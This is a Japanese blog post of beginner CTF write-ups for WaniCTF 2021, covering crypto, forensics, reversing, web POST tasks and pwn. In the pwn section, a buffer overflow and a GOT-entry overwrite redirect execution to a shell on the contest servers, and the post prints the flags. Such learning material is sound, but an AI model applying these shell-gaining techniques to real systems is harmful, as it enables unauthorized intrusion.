ペンギン技術 blog

CTFのWriteupなどを記載していこうと思います

WaniCtf2021-writeup(簡単なもののみ)

簡単なもののみですが、備忘録としてあげておきます。

Crypto

fox

171pt Beginner

What does the fox say?🦊


flag = b"FAKE{REDACTED}"


def bytes_to_int(B: bytes):
    X = 0
    for b in B:
        X <<= 8
        X += b
    return X


print(bytes_to_int(flag))

上記プログラムの結果(1911698951・・・)が与えられ、元の文字列を復元する問題

8bitビットシフトした後に、フラグの数値(ASCIIコード値)を加算しているだけなので、
結果の数値を2進数に直してから、8bit区切りでASCIIコードとして戻す

pythonで2進数に直す

$ python
>>> bin(19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197)
'0b10001100100110001000001010001110111101101010010001100010110111001100111010111110110010000110001011011100011100101011111011001000110100101101110011001110101111101100100001100010110111001100111010111110110010001101001011011100110011100110011011100100110100101101110011001110011001101100100011010010110111001100111001111110101111101011111010101110110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110111101110111001111110101111101011111011011110111001001011111011010110110111101101110011010110110111100101101011011100011111101111101'

頭に0を1つ補って、CyberChefのFrom Binaryで戻す

010001100100110001000001010001110111101101010010001100010110111001100111010111110110010000110001011011100011100101011111011001000110100101101110011001110101111101100100001100010110111001100111010111110110010001101001011011100110011100110011011100100110100101101110011001110011001101100100011010010110111001100111001111110101111101011111010101110110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110000101011111011100000100000001011111011100000110111101110111001111110101111101011111011011110111001001011111011010110110111101101110011010110110111100101101011011100011111101111101

FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}

Forensics

propaganda

156pt Beginner

超人気ゲームをみんなでプレイしよう!
(動画ファイルが渡される)

動画内に、一瞬何か見える 動画データから画像を取り出して保存する

5~7秒を24コマで取り出し

$ ffmpeg -i flag.mp4 -ss 5 -t 7 -r 24 -f image2 %06d.jpg

画像からフラグを手入力する

FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}

sonic

209pt Easy

妖怪からのメッセージです.

音量注意!

タイトルより、Sonic Visualiserを使いそう
https://www.sonicvisualiser.org/download.html

以下を参考にメニューより、Pane > Add Spectrogramを選択
https://dev.to/k0p1/stacks-2020-ctf-voices-in-the-head-forensic-1bea
FLAG{Messages_du_spectre}

Pwn

nc

155pt Beginner

nc nc.pwn.wanictf.org 9001
ヒント
netcat (nc)と呼ばれるコマンドを使うだけです。
つないだら何も出力されなくてもLinuxコマンドを打ってenterを入力してみましょう。
Linuxの基本的なコマンド集
pwnの問題ではシェルが取れたときに何も出力されないので分かり辛いですが、
とりあえずlsとか実行してみるとシェルが取れてたりすることがあります。

言われたとおりにやってみる

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!

ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

BOF

168pt Beginner

よーし、今日も魔王を倒しに行くか!

...あれ、ふっかつのじゅもんが違う...だと...?

nc bof.pwn.wanictf.org 9002

タイトルがBOFなので、長い文字列を渡してみる

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

got rewriter

181pt Easy

nc got-rewriter.pwn.wanictf.org 9003
ヒント
「参考になるwriteupを探す練習」用の問題です。
CTFではwriteupを探すと過去の問題で参考になる情報が載っているページがあったりすることが多く、
それを読みながら少しずつ自分の技術力を高めていきます。
この問題ではgot rewriter writeup WaniCTFでググると参考になるページが出てくるかもしれません。

問題にはソースコードとバイナリがついている

問題サーバにncで接続すると、目標となるwin関数のアドレスが表示される。
また、書き換えるアドレスを指定できる。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000):

C言語のソース。ここに到達すればシェルをとれる

void win() {
  printf("congratulation!\n");
  system("/bin/sh");
  exit(0);
}

バイナリをobjdumpで見てみる。

$ objdump -d -M intel got > objdump_result.txt
(略)

00000000004006d0 <printf@plt>:
  4006d0:   ff 25 62 09 20 00       jmp    QWORD PTR [rip+0x200962]        # 601038 <printf@GLIBC_2.2.5>
  4006d6:   68 04 00 00 00          push   0x4
  4006db:   e9 a0 ff ff ff          jmp    400680 <.plt>

(略)

0000000000400807 <win>:
  400807:   55                      push   rbp
  400808:   48 89 e5                mov    rbp,rsp
  40080b:   48 8d 3d a6 02 00 00    lea    rdi,[rip+0x2a6]        # 400ab8 <_IO_stdin_used+0x8>
  400812:   e8 79 fe ff ff          call   400690 <puts@plt>
  400817:   48 8d 3d aa 02 00 00    lea    rdi,[rip+0x2aa]        # 400ac8 <_IO_stdin_used+0x18>
  40081e:   e8 9d fe ff ff          call   4006c0 <system@plt>
  400823:   bf 00 00 00 00          mov    edi,0x0
  400828:   e8 e3 fe ff ff          call   400710 <exit@plt>
(略)

よくわからないが、printf関数は使われていそうなので、ここを書き換えてみる。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 601038
Your input address is 0x601038.
Please input rewrite value: 400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

Reversing

ltrace

176pt Beginner

この問題はltraceで解ける...ってコト!?

$ sudo apt-get install -y ltrace
$ ltrace --help
ヒント : オプションをよく確認しよう

まずは使ってみる

$ ltrace ./rev-ltrace
printf("Input flag : ")                                                         = 13
__isoc99_scanf(0x5648ef58a012, 0x7ffde6f31920, 0, 0Input flag : a
)                            = 1
strcmp("a", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4"...)                              = 27
puts("Incorrect"Incorrect
)                                                               = 10
+++ exited (status 1) +++

入力した文字列とを比較している部分が見えるが、フラグが全部表示されない。

コマンドオプションを確認する。
表示サイズを指定すると全部表示された。

$ ltrace -s 999 ./rev-ltrace
printf("Input flag : ")                                                         = 13
__isoc99_scanf(0x55e5ae5df012, 0x7fffb7a8faf0, 0, 0Input flag : a
)                            = 1
strcmp("a", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}")                       = 27
puts("Incorrect"Incorrect
)                                                               = 10
+++ exited (status 1) +++

pwsh

203pt Easy

Power!!!

Installing PowerShell on Ubuntu
<https://docs.microsoft.com/en-us/powershell/scripting/install/install-ubuntu?view=powershell-7.1#installation-via-package-repository>  

実行すると以下のようになるPowerShellスクリプトが与えられる。
PowerShellスクリプトは難読化されている。

$ pwsh 
PowerShell 7.2.0
(略)
PS /home/user/Downloads> ./pwsh2.ps1
Welcome to the world of PowerShell!
Password: a
Incorrect

PowerShellスクリプトを見ると、VErboSEPReFErencE.TostRIngで実行しているので、
ここをechoに変更してみる。以下のように直してから実行。

(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
  Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
 ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4

','W4Co','d','e','rrect!cW4
} ','rec','tcW4
}
',' {','tput c','cW4Welcome to t','f',' Write-Ou','

if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& echo

以下のように処理内容が見えるようになった。

PS /home/user/Downloads> ./pwsh2.ps1
echo "Welcome to the world of PowerShell!"

$input = Read-Host "Password"

if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}

Web

POST Challenge

240pt Easy

HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!

FLAGの形式は
FLAG{[Challenge1のFLAG]_[Challenge2のFLAG]_[Challenge3のFLAG]_[Challenge4のFLAG]_[Challenge5のFLAG]}
https://post.web.wanictf.org/
https://post.web.wanictf.org/chal/1に適切なデータをPOSTしてください

app.post("/chal/1", function (req, res) {
  let FLAG = null;
  if (req.body.data === "hoge") {
    FLAG = process.env.FLAG_PART1;
  }
  res.render("chal", { FLAG, chal: 1 });
});
$ curl https://post.web.wanictf.org/chal/1 -X POST -d 'data=hoge' -v

  Congratulations! Challenge 1 FLAG: y0u

以下でも可。Content-Type指定が必要なことに注意

$ curl https://post.web.wanictf.org/chal/1 -H "Content-Type: application/json" -A "Mozilla/5.0" -X POST -d '{"data":"hoge"}' -v
https://post.web.wanictf.org/chal/2に適切なデータをPOSTしてください

app.post("/chal/2", function (req, res) {
  // リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信
  let FLAG = null;
  if (
    req.headers["user-agent"].includes("Mozilla/5.0") &&
    req.body.data === "hoge"
  ) {
    FLAG = process.env.FLAG_PART2;
  }
  res.render("chal", { FLAG, chal: 2 });
});

UA追加して送信する

$ curl https://post.web.wanictf.org/chal/2 -A "Mozilla/5.0" -X POST -d 'data=hoge' -v
  Congratulations! Challenge 2 FLAG: ar3
https://post.web.wanictf.org/chal/3に適切なデータをPOSTしてください

app.post("/chal/3", function (req, res) {
  let FLAG = null;
  if (req.body.data?.hoge === "fuga") {
    FLAG = process.env.FLAG_PART3;
  }
  res.render("chal", { FLAG, chal: 3 });
});

入れ子になっているjsonデータを送信

curl https://post.web.wanictf.org/chal/3 -H "Content-Type: application/json" -X POST -d '{"data":{"hoge":"fuga"}}'
  Congratulations! Challenge 3 FLAG: http
https://post.web.wanictf.org/chal/4に適切なデータをPOSTしてください

app.post("/chal/4", function (req, res) {
  let FLAG = null;
  if (req.body.hoge === 1 && req.body.fuga === null) {
    FLAG = process.env.FLAG_PART4;
  }
  res.render("chal", { FLAG, chal: 4 });
});

うまくいかず

$ curl https://post.web.wanictf.org/chal/4 -H "Content-Type: application/json" -X POST -d '{"hoge":1, "fuga":""}' -v
https://post.web.wanictf.org/chal/5に適切なデータをPOSTしてください

function md5file(filePath) {
  const target = fs.readFileSync(filePath);
  const md5hash = crypto.createHash("md5");
  md5hash.update(target);
  return md5hash.digest("hex");
}

app.post("/chal/5", function (req, res) {
  let FLAG = null;
  if (req.files?.data?.md5 === md5file("public/images/wani.png")) {
    FLAG = process.env.FLAG_PART5;
  }
  res.render("chal", { FLAG, chal: 5 });
});

CTF問題画面にいるワニの画像を送信

$ wget https://post.web.wanictf.org/images/wani.png

でワニの画像をダウンロードしておく
よくわからないが、ファイル名の前に@をつけることに注意

$ curl https://post.web.wanictf.org/chal/5 -A "Mozilla/5.0" -X POST -F "data=@wani.png" -v

  Congratulations! Challenge 5 FLAG: m@ster!
FLAG{y0u_ar3_http_p0st_m@ster!}

運営writeupが公開されていました。
https://github.com/wani-hackase/wanictf2021-writeup